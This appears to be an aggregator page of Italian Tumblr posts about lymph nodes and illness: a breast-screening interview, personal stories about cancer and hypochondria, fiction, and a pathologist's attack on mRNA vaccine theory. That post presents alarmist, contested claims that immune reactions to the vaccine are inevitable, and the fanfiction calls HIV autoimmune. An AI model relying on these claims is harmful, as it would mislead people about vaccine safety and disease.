Tumgik
#sempre ai linfonodi
cinquecolonnemagazine · 8 months
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Carcinoma Mammario: l'importanza della prevenzione nelle donne nell'età tra i 40 e 45 anni
Carcinoma Mammaio, una patologia che colpisce sempre più persone in Italia. La fascia d'eta più esposta alla malattia è quello tra i 40 e i 45 anni. La domanda, quindi, sorge spontanea: come fare a prevenirlo? A questa ed altre domande risponde nella storia di oggi il dr. Raffaele Tortoriello, Chirurgo Generale a Napoli. Esistono sintomi da monitorare per rilevare in maniera precoce questa patologia? Il cancro al seno può presentarsi con la presenza di un tumore mammario indurito, generalmente non doloroso, che risulta ancorato in profondità e offre una scarsa mobilità. Se si notano sintomi come la retrazione della pelle, la comparsa di un aspetto simile a una buccia d'arancia o un ingrossamento dei linfonodi nella zona ascellare, è fondamentale rivolgersi tempestivamente a un professionista medico, preferibilmente uno specialista in Senologia. Quali sono i fattori e le cause che favoriscono lo sviluppo del Carcinoma Mammario? Esistono numerosi elementi che contribuiscono al rischio, in aggiunta ai fattori comuni come il tabagismo, l'abuso di alcol e il sovrappeso. Un ruolo significativo è giocato dalla predisposizione genetica, dalla menarca precoce e dall'utilizzo di terapie ormonali. Inoltre, è importante considerare l'incidenza delle mutazioni genetiche, in particolare dei geni Brca1 e Brca2. Come si può prevenire il Carcinoma Mammario: qual è il test da fare? L'Ecografia è il test più consigliato da fare. Questo esame deve essere svolto almeno una volta all’anno escludendo casi particolari che poterebbero a far svolgere il test ogni sei mesi. Un'altra valutazione medica da fare è la mammografia con cadenza annuale oppure ogni due anni. Quali sono, invece, altre tecniche di screening o test diagnostici da poter fare? Altri esami di approfondimento da poter effettuare sono la risonanza magnetica mammaria con mdc e l'Agobiopsia nei casi più sospetti. Sottolineo, però, che tutti questi esame devono sempre avvenire sotto la guida di un Senologo esperto. Questo perché l'aspetto dell'autovalutazione è importante ed utile ma fino ad un certo punto visto che l'autovalutazione risente di fattori soggettivi che cambiano da persona a persona. Cos'altro si può fare? Sfortunatamente, i sintomi di questa patologia si manifestano solo nelle fasi avanzate. Pertanto, è opportuno sottoporsi a un'adeguata prevenzione mediante l'adozione di stili di vita salutari e sottoponendosi a una valutazione senologica e a ecografie almeno una volta all'anno fino ai 40 anni. Successivamente, se necessario, si può considerare anche l'esecuzione di una mammografia per completare gli esami, tenendo conto del proprio profilo medico e familiare. Per questi motivi, incoraggio tutti a partecipare alle iniziative programmate questo mese per la prevenzione del cancro al seno. Dal cancro si può e si deve guarire. Foto di Marijana da Pixabay Read the full article
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annalobergh · 2 years
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Latito da qualche giorno.. purtroppo domenica c'è stato un lieve ingrossamento dei linfonodi, Zero ha avuto un po' di nausea, un sintomo lieve, lunedì siamo andati dalla nostra vet, ha fatto una visita completa, cuore e polmoni perfetti, dopo un consulto tra di loro, le veterinarie che seguono Zero, hanno deciso di modificare la terapia, niente di grave, anzi lui in generale ha avuto una risposta così spettacolare e veloce che aveva sorpreso le vet e sinceramente illuso me, ma come nella chemio anche con questa cura bisogna dare tempo ai farmaci di agire e modificare via via i dosaggi, è solo che ogni piccolo cambiamento mi porta ad avere giganteschi scompensi emotivi, non è facile vivere questa situazione dal punto di vista umano, trattenere ogni volta lacrime ed emozioni, sapendo che lui come nessuno sa leggere perfettamente ogni mio sentimento, anche quelli che cerco disperatamente di nascondere, mi ripeto che devo trasmettergli serenità e forza quando dentro ho un buco, una voragine insanabile e per quanto tenti, difficile da nascondere. Valeria Rossi aveva definito il Dobermann "fotocopiatrice di stati d'animo" nessuna definizione è più calzante, nessun cane vive l'empatia che il Dobermann ha con il suo umano è una delle caratteristiche di razza che amo di più, Karl quando ha creato questo cane ha fatto una straordinaria magia, nessun cane ha questa dote così spiccata, a Zero dico sempre che ha lo scanner incorporato ma in questo momento vorrei tanto che non mi sapessi leggere dentro così tanto bene. #zero #dobermansofinstagram #dobermanlife #dobermann #dovermannlovers #dobermanpinscher #dobermannpinscher #dobermannworld #dobermannforever #dobermanpinschersofinstagram #dobermannlove #lovedobermann #mydobermann #mydoberman #dobermannitalia #dobermannlife #dobermanneurope #amoilmiocane #dobermanlovely #sempreinsieme #lamiazampadestra🐾 #vitadadobermann https://www.instagram.com/p/ChpBpXgMo7t/?igshid=NGJjMDIxMWI=
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heresiae · 2 years
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sto sperimentando il primo mal di gola da due anni e mezzo e lasciatevelo dire, il mio corpo, nella sua totalità, non la sta prendendo bene.
manco per un cazzo.
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spettriedemoni · 5 years
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Era il 4 ottobre
Si dice sempre che bisogna "guardare avanti" per migliorare, però ogni tanto uno sguardo indietro lo butto.
Era il 2016, mi avevano diagnosticato un tumore (anche se l'avevano chiamato neoplasia) appena una settimana prima. Chi mi aveva visitato aveva telefonato a casa dell'infermiera, in quel momento non in turno, avvisandola che il lunedì sarei andato per un pre ricovero. Il pre ricovero significa che devi andare e fare degli esami più approfonditi, nel mio caso esami del sangue, che avrebbero confermato la diagnosi.
Il 3 ottobre mi operarono da sveglio. Laparoscopia, credo si chiami così, poi la notte in ospedale a riprendermi dall'anestesia. Ricordo che i due infermieri di turno dovettero venire spesso per svuotare il "pappagallo" come chiamano quell'affare che serve per urinare stando a letto. Non mi permisero di alzarmi perché l'anestesia poteva causarmi capogiri e farmi svenire.
Il giorno dopo ero in piedi, sentivo la ferita tirare ma riuscivo a camminare sia pur con difficoltà. Sarei stato dimesso il giorno stesso, il 4 ottobre.
Le lungaggini burocratiche portarono via praticamente tutta la mattinata, la dieta, le avvertenze, il cambio di medicazione e i medicinali da prendere in caso di febbre. Da questo momento ero ricoverato in "Articolo 1" cioè ero ricoverato senza esserlo, sarei stato a casa ma sarei dovuto tornare per gli esami previsti dal protocollo ossia esami ematici e la TAC, la tanto temuta TAC con mezzo di contrasto a tutto il corpo.
Andava scongiurato il rischio metastasi per cui la Tomografia Assiale Computerizzata (anche se oggi non è più "assiale") era il mezzo più sicuro per una diagnosi di quel tipo.
C'era il sole quel 4 ottobre, come oggi.
Qualcuno mi ricordò che era il giorno di San Francesco.
Pensai che era un bel nome Francesco, lo stesso di mio suocero che non c'è più da tempo.
La Mia Regina era a casa, erano venuti a prendermi mia madre e il marito di mia sorella.
Era in attesa di Tigrotto la Mia Regina e pertanto non volevamo darle altro stress così era rimasta a casa. Già avere un malato da accudire non era il massimo per una donna incinta.
C'era caldo pur essendo ottobre.
Francesco è un bel nome. Se vogliamo credere ai segni probabilmente quello fu un segno.
Pochi giorni dopo, circa una decina, avrei fatto la TAC e avrei scoperto dei linfonodi ingrossati.
Sarebbe stato l'inizio di un altro cammino ma questa è un'altra storia.
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L'ipocondria è silenziosa, all'inizio. Pensi che qualunque cosa tu senta nello stomaco sia solo indigestione e non ci pensi. Poi ti chiedi "e se invece non fosse così?".
Il mio inferno è iniziato a Giugno 2019. La mia coinquilina non mi fece chiudere occhio per tutta la notte ed io mi svegliai alle 6 del mattino con un mal di testa atroce.
Nulla di che. Basterà del riposo. Ma non riuscivo a dormire. Ho preso delle medicine per placare l'emicrania lancinante e il mio stomaco ne risente subito. Forse non dovevo assumere farmaci con un singolo biscotto nello stomaco. Poi viene la febbre,la nausea, lo sconforto. Ma nel giro di qualche giorno vanno via. Evidentemente era stress, stanchezza.
Ma io sento dolori al fianco destro. Deve tornare il ciclo, le ovaie fanno sempre male.
Ma io sono certa che sia appendicite.
Agosto 2019, in pronto soccorso mi dicono che ho dei valori sballati. Panico. È davvero appendicite?
No. O almeno, non è forte. Antibiotici per una settimana e si torna a casa. La gastrite torna, gli antibiotici sono troppo forti.
Il dolore passa, le analisi sono perfette. Ma io non mi sento sicura.
Attacchi di panico, mal di stomaco continuo.
Oggi ho pancreatite, domani un tumore, il giorno dopo ancora sono certa che il mio stomaco si fermerà e che dovrò essere sfamata a vita con un macchinario e cubo liquido.
Chiamo mia zia ogni giorno, unica confidente, in lacrime. Le dico che sto male. Lei mi rassicura, due giorni prima le analisi erano perfette, non ho febbre, non ho nulla per cui preoccuparmi.
Ma io sento tutti i sintomi delle malattie più disparate del mondo.
Arriva anche lei, silenziosa come l'ipocondria. La depressione.
Guardo le persone per strada e penso "Io non sarò mai più felice come loro". E sento il mondo che mi crolla addosso.
Mi guardo allo specchio e vedo ogni difetto, ogni osso storto, ogni rigonfiamento che sembra anomalo, ogni dettaglio. Mi vedo malata.
Altre analisi, pulite.
Io non mi sento pulita.
Piccoli momenti di tranquillità poi la gastrite torna, torna la paura, torna la depressione e lo stress.
Ovunque mi volto, vedo qualcosa che ha a che care con il cancro, con la morte, con la malattia. Ogni notte sogno catastrofi. Io li interpreto come segnali. Il mondo mi sta dicendo che morirò? Che mi ammalerò?
Cerco I sintomi su Google.
Sempre.
Oggi ci ho passato almeno 3 ore. Li ho tutti, eppure sto bene.
La mia ossessione recente? I linfonodi ingrossati. I linfomi nascosti e non. La tiroide. Cisti ovariche.
Sento la pelle calda, chiedo ai miei di controllare la mia temperatura ogni 3x2, "sei normale, non sei bollente" mi dicono. E io sento il corpo con almeno 40 di febbre.
Ho paura perfino del mio cane ora, ho paura che quando mi viene vicino in realtà lui senta la mia malattia.
Leggo testimonianze di persone malate o che sono sopravvissute e penso: se toccasse a me, io non riuscirei a farlo. Perché è così. Io non sono forte. Io non troverei nessuna motivazione. Non riesco a trovarla ora.
Ho passato il capodanno a piangere, ad avere crisi isteriche, a ripetermi "non vedrò la fine di questo 2020", cosa che mi sono detta anche pochi mesi fa... Eppure eccomi qui.
Ho paura, sono terrorizzata, mi sento affogare. E nel mio terrore sono sola. Nessuno capisce, nessuno nota che sto così male. E mi domando se prima o poi tutto finirà.
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romanticasemiva · 5 years
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Prompt della maggggica @brandyamber : Ho pensato che la storia d'amore fra Ermal e Fabrizio si svolge in questo spazio-temporale che racchiude i giorni nostri. Vivono entrambi a Milano. Hanno faticato molto per stare insieme, ma adesso eccoli qui, capaci di vivere una quotidianità piena di piccoli gesti e tanto amore. Succede però che tutta questa bellissima dimensione viene rotta da un evento poco felice: Ermal scopre di avere l'AIDS perché una sera in cui era in trasferta per lavoro finisce a letto con un'altra persona, non riuscendo a trattenere i propri istinti. Fabrizio la prende malissimo: non solo per la sua spiccata ipocondria, ma soprattutto perché ha sentito benissimo il suo cuore rompersi, fragile come una goccia di cristallo.
                       With the lights out it's less painful.
Stava lì, semisdraiato sul divano un po’ mangiucchiato dal tempo e dai bottoni dei jeans che tiravano i fili della trama, si sentiva stanco e non aveva voglia di mettere qualcosa sotto i denti. Giocava con gli anelli che portava alle dita mentre alla tivù passava una replica di quegli sketch comici della Hunziker e De Luigi, si chiedeva perché la sua storia d’amore non fosse mai stata come la loro.
A dire la verità, a volte lo erano. Stavano bene, si divertivano e si sentivano innamorati persi senza chiedersi il perché o il come determinati eventi prendevano piede nelle loro vite e li scaraventavano in realtà sporche e torbide.
Ermal sentiva come un disturbo sotto la pelle, nelle viscere che lo faceva sentire nervoso: da qualche anno si svegliava spesso di notte colto da crisi di ansia e panico ma Fabrizio ha sempre fatto in modo che il più giovane mantenesse la lucidità e non si lasciasse sovrastare dalle emozioni. Non sempre andava bene, non sempre Ermal manteneva la lucidità necessaria per tenere a bada gli istinti e nuove crisi ancora più forti delle precedenti e si trovava in bilico sul davanzale della finestra o con le mani spaccate, lacerate a forza di tirare pugni ai muri e agli infissi.
Fabrizio portava pazienza, sapeva che queste crisi passeggere lo facevano essere fuori di sé e doveva solo saperlo calmare, prenderlo con le pinze e tenerlo un po’ al sicuro, al caldo senza farlo sforzare troppo.  
“Ermal, ti va l’arrosto?” si affacciò Fabrizio dalla cucina. Il più giovane scosse la testa curvando le labbra in una smorfia di disgusto, “Non puoi non mangiare, ti rendi conto che sei dimagrito troppo nell’ultimo periodo.” sbottò l’altro piccato.
“Sto bene, stai tranquillo.” tossicchiò sistemandosi meglio sul divano con la consapevolezza che no, non stava affatto bene. “Non me la racconti giusta.” ridacchiò leggero il compagno togliendosi il guanto da forno e lanciandoglielo per gioco.
“No Bi, fidati.” e mise quella faccia da ti prego credimi, ti scongiuro sperando ardentemente che l’altro facesse spallucce e se ne tornasse sui suoi passi. Non fu così, gli si accomodò in parte e lo guardò come se fosse un’opera d’arte. Osservava attentamente ogni dettaglio del suo volto, ogni piccola cosa che lo rendeva unico: le pagliuzze dorate in quegli occhi color nocciola, i ricci che cadevano morbidi davanti ad essi nascondevano quello sguardo stanco e maledettamente profondo, quello che riusciva a raggiungergli l’anima.
“Sei bello” soffiò poi scostandogli i capelli dal viso e sistemandoli dolcemente dietro l’orecchio di sinistra. “Ma che cosa dici Fab!” rispose quasi scioccato, come se gli avesse confessato un segreto oscuro e torbido. Come se non ci credesse, come se non lo sapesse.
“Sei bello Ermal, sei molto bello” ripetè schiarendosi la voce. “Sono bello?” e Fabrizio annuì appena curvando le labbra in un sorrisetto genuino. “Posso essere bello quanto vuoi, però dimmi: se tu fossi cieco, riuscirei ad impressionati ancora?”
Fabrizio fece per pensarci su un po’ ma la risposta la sapeva già, la custodiva nel cuore. “Certo che sì!” sussurrò poi.
“Come fai ad essere così sicuro?”
“Ne sono sicuro perché ogni tua piccola attenzione, ogni tuo atteggiamento e pure quel sorrisi nascosti mi farebbero sentire meno cieco.”
“Tu sei un pazzo visionario” ridacchiò Ermal posando le mani sulle guance dell’altro accarezzandogli gli zigomi con i pollici. “Non sono un visionario, ho solo detto la verità” e si avvicinò all’altro posando un bacio leggerissimo sulle labbra.
Ermal sentì una fitta al cuore, una di quelle che si sentiva quando capiva perfettamente cosa stava per succedere di lì a pochi minuti. Tremò leggero tra le braccia di Fabrizio con la consapevolezza che forse non avrebbe retto più di tanto con quel segreto che gli opprimeva il petto da mesi ormai. “Ermal, stai bene?” sussurrò con tono preoccupato accarezzandogli dolcemente il viso.
Parigi era bella, la amava e amava specialmente quell’atmosfera strana ma piacevole seduto su quella seggiola di paglia fuori ad un bistrò gustandosi del pain au chocolat e una tazza di caffè lungo. Sapeva che non avrebbe dovuto berlo, sapeva che poi avrebbe passato la notte insonne ma non gliene importava affatto. A Parigi c’era per lavoro, aveva un paio di report da organizzare e degli articoli da redigere per una nota testata giornalistica italiana, nulla di particolarmente diverso da ciò che faceva di solito.
Prese in mano il telefono, sbloccò lo schermo usando l’impronta digitale sperando ardentemente di trovare un messaggio o una chiamata da Fabrizio, non gli rispondeva da ore né ad una chiamata né ad un messaggio. Sentì un moto di ansia torturargli lo stomaco ma la represse prontamente, starà sicuramente lavorando.
“No Fabrizio, niente va bene” sussurrò allontanandosi da lui per osservare al meglio il suo volto. L’altro si allarmò, gli posò però una mano sulla coscia come per dirgli dimmi, dimmi cosa ti turba. “Fabrizio, vorrei fosse facile dirti tutto.” e il cuore gli si incrinò nel petto.
Si svegliò sentendo il cellulare squillare, gli faceva troppo male la testa per pensare con lucidità. Aprì piano gli occhi e accarezzò piano il soffice piumone bianco sentendosi così stanco e affaticato, si guardò intorno cercando la sua fidata bottiglietta di acqua e le sue pastiglie ma effettivamente quella in cui aveva passato la notte non era la sua camera.
Si tirò a sedere di scatto sperando di trovare una spiegazione valida a quel casino: il letto era sfatto, segno che un’altra persona aveva dormito con lui quella notte. La finestra era leggermente aperta e uno sbuffo di aria gelida raffreddava l'ambiente, spostò le coperte e, nudo, si alzò in piedi avvicinandosi all’infisso e chiudendolo. C’erano vestiti ovunque, le sue cose sparpagliate per la camera e della memoria nemmeno l’ombra.
Il telefono riprese a squillare, era Marco.
“Ermal, così mi fai preoccupare. E’ un’altra delle tue crisi, non è così?” e il tono urgente di Fabrizio, gli occhi nocciola piantati nei suoi luccicavano di preoccupazione con un velo di tensione a coprire quella brillantezza che li contraddistingueva. “Fabrizio, mi spiace.”
Marco lo strattonava giù per le scale di quell’albergo in Pigalle sibilando imprecazioni e mannagge al genere umano. “Che cosa ti è saltato in mente Ermal? Sei pazzo? Chi era quel ragazzo con cui sei andato via ieri sera?” ma la memoria non voleva aiutarlo, la testa girava all’impazzata e la nausea gli attanagliava la gola. “Quanto hai bevuto ieri sera?” fu la domanda urgente dell’amico. “Non lo so.” rispose percependo il nervoso e l’ansia pungere sotto la pelle.
“Cosa è successo a Parigi?” fu la domanda pacata di Fabrizio, Ermal non poteva e non riusciva a guardarlo negli occhi dopo aver accennato di quel soggiorno. Vedeva  e percepiva che l’altro era fuori di sè ma preferiva non urlare, sbraitare e lanciare qualche piatto.
Si era arrabbiato, Fabrizio non rispondeva al telefono e una crisi lo colse senza che nessuno potesse calmarlo, era convinto che lo stesse tradendo. Andrea, quell’Andrea che lavora con lui in studio. Si sentono spesso, mi tradisce. Mi fa schifo. Lo odio. Bevo. Voglio dimenticare. Il resto erano solo le luci soffuse di quel bar e i bicchieri che si portava alle labbra per svuotarli in due sorsi abbondanti. E poi quel ragazzo, da lì in poi il nulla.
Ermal si alzò dal divano e si avvicinò al mobile poco distante da lì, dal cassetto estrasse una busta e su di essa, stampato, il logo di un distretto ospedaliero. “Ermal, che cosa è?”
Era tornato a casa con un fardello enorme sul cuore, era tornato al suo lavoro e alla sua vita come se nulla fosse. Trascorse mesi e mesi così: allontanando dalla sua memoria i sensi di colpa. Accusava strani sintomi: era stanco anche dopo una giornata a non fare nulla sul divano, anche quando con Fabrizio passavano la domenica a letto. Mal di gola, febbre, linfonodi ingrossati e la rapida perdita di peso. Fabrizio si era preso un po’ male, gli aveva ordinato di fare qualche esame, aveva chiamato il medico ma Ermal l’aveva sempre rassicurato. Che cosa mai può essere?
“Fabri, sono positivo.” disse ma si tradì e la voce gli si incrinò sull’ultima sillaba. “Che cosa Ermal? Che stai dicendo?” le mani gli tremavano. Non l’aveva mai visto così, sapeva benissimo che quello che stava per dire l’avrebbe ferito a morte. Quel Fabrizio che nonostante tutto l’amava, lo stringeva e lo calmava. “Sono risultato positivo all’HIV.”
Il medico gli aveva prescritto dei cicli di cura, non si può sconfiggere questa malattia autoimmune, semmai la si controlla. Gli aveva detto che era fortunato, l’avevano capito abbastanza in tempo. Era risultato positivo all’HIV ma c’era ancora qualcosa da poter fare. Si era rovinato con le sue stesse mani.
“No-noi…” balbettò il moro, di colpo si trovò senza parole.
That's all it is, there is no other way. It's over.
“Fabrizio, io davvero non…”
“Ermal.” la voce roca e bassa dell’altro chiamò il suo silenzio. Vedeva solo tanta delusione negli occhi. Si torturava le mani, tremavano e sentiva gli occhi pizzicare. Fabrizio era pallido, scosso e visibilmente a disagio, con lo stomaco ingarbugliato, i muscoli tesi e gli occhi sbarrati. “Ermal, sei stato con un’altra persona?”
“Pensavo mi stessi tradendo.” riuscì solo a soffiare.
It too much, it's so heavy. There is no peace.
“Tu pensi, pensi e basta!” fece l’altro con un ringhio. “Ermal che cazzo ti è saltato in mente?” gli occhi ridotti una fessura ora più scavati. “Fabrizio mi hai risposto in tutto il giorno, che cosa dovevo pensare?” si adirò Ermal battendo il pugno sul bracciolo imbottito del divano.
“Ermal.” alzò la voce. “Io? Pensavi veramente che io potessi tradirti? Pensavi veramente che io potessi andarmene con un altro? Un altro come Andrea?”. Ermal si spaventò, la rabbia gli fece brillare gli occhi. “Ermal, perchè hai fatto questo?”
“Non lo so Fabrizio, ero fuori di me, ero ubriaco e…”
“Ubriaco?!” e si passò una mano tremante sugli occhi, Ermal sapeva che si stava trattenendo. Sapeva che aveva mille domanda che gli frullavano per la testa, sapeva che sentiva la paura nelle ossa. “Ubriaco Ermal? Ma ti senti?”
“Quanto tempo fa l’hai scoperto?” e Ermal fece un tre con le dita. “Tre cosa Ermal?” la voce si alzò di un’ottava, roca e bassa più del solito. “Tre settimane, Fabrizio.” pronunciò tremante.
“Sei mesi fa sei stato a Parigi! In tutto questo tempo non mi hai mai detto nulla? Non hai mai avuto niente da dirmi?” era fuori di sé, lontano da Ermal. Spaventato, illuso, ferito.
“Abbiamo anche avuto dei rapporti!” e si alzò dal divano sfatto, le mani tra i capelli corvini. Mosse un paio di passi per non sentire la tensione avanzare nel suo corpo. “Fabri, erano protetti.” ma non lo guardò negli occhi, Fabrizio già si stava allontanando da lui. Già sentiva che qualcosa si era rotto irrimediabilmente. Lo sentiva nervoso, teso, sentiva il suo terrore.
“Ermal, ma che diavolo ti è preso?” il riccio sentiva le lacrime agli occhi, non percepiva nulla se non il suo cuore battere all’impazzata nel petto. “F-Fabrizio io...” ma non sapeva seriamente che dire o che fare.
Fabrizio toccò l’interruttore, spense la luce del soggiorno e sospirò forte mentre il buio li avvolgeva, solo la tivù accesa su quelle repliche proiettava lame di luce blu per la stanza e toccava il volto di entrambi. Ermal si permise di guardarlo e ammirare il profilo perfetto dell’altro, gli occhi chiusi e le lunghe ciglia che sfioravano gli zigomi alti e pronunciati.  
“Che cosa fai Fabrizio?” sussurrò Ermal tremante, l’altro non si mosse ma pronunciò solo: “Con il buio fa meno male, almeno non rischio di cadere nei tuoi occhi.”
Grazie come al solito per aver letto questa cosa, spero di essere stata abbastanza brava e di aver trattato la tematica in modo decente. Grazie per il prompt (sempre felice di sviluppare❤), grazie anche alla maggica @haipresoilcuoredistriscio che beta e che mi sopporta (te amo.) Grazie al fandom che amo incondizionatamente. 
Detto ciò, vi abbraccio.❤
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pedrop61 · 3 years
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Paolo Bellavite Professore di Patologia Generale all'Università di Verona
“Teorie” sul vaccino mRNA: errori fatali?
Nella relazione presentata alla FDA per l’autorizzazione del vaccino mRNA-1273 - Moderna (December 17, 2020 Meeting Presentation - Emergency Use Authorization Application) si vedono una serie di figure che “cantano le meraviglie” del vaccino, tra cui quella che qui riporto (i punti interrogativi sono miei). File originale https://www.fda.gov/media/144583/download
Una certa Melissa J. Moore, Chief Scientific Officer, mostra una figura in cui si vede la famosa NANOPARTICELLA LIPIDICA (LNP) con mRNA che entra in una “antigen presenting cell” (APC, per lo più cellule dendritiche e macrofagi) circondata da linfociti B e T. Ad un patologo che ha insegnato immunologia tutta la vita e le cellule le conosce bene perché le ha avute tra le mani spesso, questa teoria appare alquanto sballata, o quanto meno monca e traballante. Cerco si spiegare perché in modo divulgativo, soffermandomi sui due punti interrogativi indicati (?). Non tratto il terzo (la trascrizione inversa da mRNA a DNA che ritengo molto improbabile anche se non del tutto impossibile). Ma ce ne è abbastanza per preoccuparsi, come vedremo.
PUNTO DI DOMANDA 1. Si sostiene che il mRNA “fornisce istruzione direttamente al sistema immunitario (proteina Spike”). Ma come avverrebbe tale “istruzione”? Secondo loro la nanoparticella lipidica LNP entrerebbe nella “antigen presenting cell” la quale produrrebbe la proteina spike (rossa a forma di Y) che andrebbe poi a stimolare il sistema immunitario (B cell, CD4+ cell, CD8+ cell). Ma qui le cose NON TORNANO. In breve e per sotto-punti:
1A. Le cellule B sono quelle che faranno anticorpi e non si vede cosa ci stiano a fare qui a contatto con la APC. I linfociti B possono certo fare loro da APC, ma metterli a contatto con le APC sulla membrana delle quali riconoscerebbero la “spike” è una visione alquanto bizzarra della teoria. Forse non del tutto sbagliata, ma certo bizzarra. Ma non è questo il punto più grave.
1B. Le cellule CD4+T sono i linfociti “Helper”, i quali certamente sono implicati nell’attivazione del sistema immunitario da parte delle APC. Ma qui la “teoria” della Moderna traballa fortemente per un’altra ragione: L’IMMUNOLOGIA (almeno fino alla fine del 2020) insegna che le APC presentano gli ANTIGENI CHE VENGONO DALL’ESTERNO (cioè i virus e i batteri presi dall’ambiente esterno, quindi uccisi, processati, fatti a pezzi e poi esposti sulla membrana associati all’HLA di classe II). Nella teoria qui presentata, invece, la proteina non viene dall’esterno, ma verrebbe prodotta nel citoplasma cellulare dalla stessa APC, che ha avuto l’inoculo del mRNA. L’immunologia insegna che le proteine prodotte all’interno vanno montate su HLA di classe I, che è tutt’altra cosa anche se ha un nome simile, e non reagisce affatto con le CD4+T. Quindi la teoria dei produttori del vaccino non collima con quella dell’immunologia corrente. La teoria del produttore presuppone che la APC sia così stupida da non riconoscere se una sostanza estranea viene dall’esterno o dall’interno. Chi conosce queste cellule non può non restare perplesso; uno studente di medicina che sviluppasse una teoria del genere non passerebbe l’esame.
1C. Le cellule CD8+T sono i linfociti “citotossici”, o "killer", quali sono responsabili del rigetto dei trapianti, dell’attacco contro le cellule infettate dal virus e contro le cellule con mutazioni cancerose. Ma qui la “teoria” della Moderna fa apparire i CD8+T come cellule cui la proteina spike sarebbe presentata dalle APC, facendo intendere che siamo nella fase di innesco del sistema immunitario (infatti al punto 1 la spike darebbe “istruzioni” direttamente al sistema immunitario).
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Ma secondo l’immunologia conosciuta fino al 2020 i linfociti citotossici non sono affatto stimolati dall’antigene, si comportano invece come “Killer” della cellula dove riconoscono l’antigene stesso. Ecco quindi perché il punto 1 è sbagliato.
PUNTO DI DOMANDA 2. Nel punto 2 dicono che il vaccino “crea efficientemente una memoria specifica in un contesto naturale (in situ)”. Ma come fanno a dire una cosa del genere? Quali prove forniscono? Bisogna sapere che il contesto naturale del sistema immunitario NON E’ IL MUSCOLO dove viene iniettato il vaccino, ma il sistema immunitario (soprattutto i linfonodi, ma anche le tonsille e il sistema linfatico intestinale o polmonare). Pertanto, ecco le mie perplessità sulla teoria "moderna", nei sotto-punti:
2A. la teoria è traballante perché il vaccino è iniettato nel muscolo e quindi non “in situ”. Certamente, dopo aver creato un focolaio infiammatorio nel punto di iniezione (tanto è vero che fa male, ad alcuni molto male), la linfa può trasportare le nanoparticelle e le proteine spike nel sistema immunitario, ma questo è OVVIO per qualsiasi vaccino. Qui però si fa intendere che le cose siano chiare e semplici MA NON SONO AFFATTO CHIARE, NE’ SEMPLICI. “In situ” è una balla cui possono credere gli inesperti.
2B. Il punto più critico di tutta questa teoria traballante è il seguente: normalmente le APC captano le sostanze estranee nell’ambiente esterno (pelle, mucose, tessuto connettivo o linfonodi), le processano come si è detto e le presentano ai linfociti associate al HLA-II. Questa “captazione” avviene con un procedimento recettoriale (ci sono tanti recettori più o meno specifici, ma sono sempre recettori). INVECE le nanoparticelle non sono riconosciute da recettori ma “ENTRANO” nelle cellule direttamente attraversando la membrana, ed entrano IN TUTTE LE CELLULE con cui vengono a contatto. Quindi la proteina SPIKE può essere prodotta NON SOLO dalle APC ma da qualsiasi cellula. ”Specific” è una balla, incredibile per un qualsiasi patologo.
2C. Quando una QUALSIASI cellula (non solo APC) produce una sostanza estranea (come un virus o una sua parte, nel nostro caso una proteina spike), la “mostra” sulla propria membrana associata all’HLA di classe I. Si dà il caso che HLA di classe I sia quello che i linfociti CD8+T riconoscono come “BERSAGLIO” per il loro attacco citotossico. L’HLA-I è quello che viene riconosciuto come estraneo anche nei trapianti incompatibili e fa partire il rigetto. Ecco quindi che la “teoria” di Moderna TRASCURA DI DIRE una cosa fondamentale: se una cellula “QUALSIASI” (non APC) produce una proteina spike e la mostra sulla sua membrana associata all'HLA-I, essa sarà attaccata e distrutta dalle cellule CD8+T. Le conseguenze per l’ospite (nella fattispecie il vaccinato) saranno più o meno gravi secondo il tipo e il numero di cellule colpite, il tessuto dove avviene la reazione, o l’organo. Si potrà andare da un semplice malessere transitorio, al blocco di un organo, ad una reazione autoimmunitaria sistemica.
Si badi bene: NON HO DETTO che il vaccino è "inefficace", anzi sono convinto che un po' di efficacia ce l'abbia, forse non il 90% o 95% (dichiarato dal produttore) lo ho già detto e scritto. Il problema non è l'efficacia, è la SICUREZZA, e i metodi per valutarla. Da questo punto di vista, la "teoria" immunologica sottostante ai vaccini mRNA non è affatto tranquillizzante come si vorrebbe far credere.
Ho spiegato a sufficienza le preoccupazioni che nascono dal vedere la teoria che è stata presentata alla FDA per far accettare il vaccino. I casi sono due: o il dossier è stato esaminato da “esperti” poco “esperti” di immunologia, o se c’erano essi hanno chiuso più di un occhio. Ma applicare frettolosamente una teoria sballata non può essere privo di conseguenze deleterie. Termino dicendo che mi auguro sinceramente di aver torto, ovvero che la teoria di Moderna sia giusta. Altrimenti le reazioni immunopatologiche saranno inevitabili, purtroppo. Faccio appello agli immunologi più importanti di me e che mi leggono perché valutino quanto ho scritto e se ho torto me lo dicano. Se ho invece ragione, lo dicano cortesemente all’AIFA, forse loro saranno ascoltati più di un vecchio patologo pensionato. Ne va della salute immunologica del popolo italiano.
Paolo Bellavite
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il dottore mi guardò profondamente per qualche istante, una ruga solcava la glabella, sentii che quasi sicuramente aveva la stessa espressione tutte le volte che doveva dare una brutta notizia, come a voler dosare le parole per renderle meno dolorose, come se dopo tanti anni di esperienza sperasse esistesse ancora un modo per farlo. «Lo dica e basta, dottore. Tanto lo so già.» «Lei ha il cancro al seno, le metastasi si sono diffuse ai linfonodi», erano passati dieci anni dall'ultima volta che avevo sentito quella parola associata alla mia persona, dieci anni durante i quali avevo cancellato ogni ricordo della malattia, bruciato ogni fotografia, buttato via ogni bandana, mi erano cresciuti i capelli, adesso mentre l'oncologo mi parlava di cure, operazioni, esami da fare, io li toccavo svogliatamente pensando già al momento della caduta. Mi sorpresi a sorridere, pensando al fatto che mai in dieci anni avevo alzato le braccia al cielo dicendo:«ho vinto», ed infatti non avevo vinto. Il cancro dorme. Per mesi, nel mio caso per anni, ma è sempre lì, non te ne liberi, diventa parte di te o forse tu diventi parte di lui, e poi un giorno si sveglia e decide che ha fame, qualcosa dovrà pur mangiare, e allora si nutre di te. E poi sta a te, lottare o lasciarti mangiare, combattere o arrenderti. Il cancro dorme, ma non muore mai, neanche se muori tu. È come un'altra persona che vive con te, come tuo marito con il quale hai dormito trent'anni o tua madre, che ti è stata vicina per la maggior parte della tua vita, che era con te anche quando fisicamente non c'era. La persona di fronte a me continua a parlare di quanto bisogna reagire, mi consiglia dei gruppi di sostegno, di stare tanto tempo con la mia famiglia, come se avessi bisogno di tutte queste cose. Nella mia mente recupero le bandane, c'è una in particolare che ho sempre indossato, rosso, il colore del fuoco che mai avrebbe dovuto spegnersi dentro di me. La indosso, sono già pronta per la guerra.
Michela Caputo
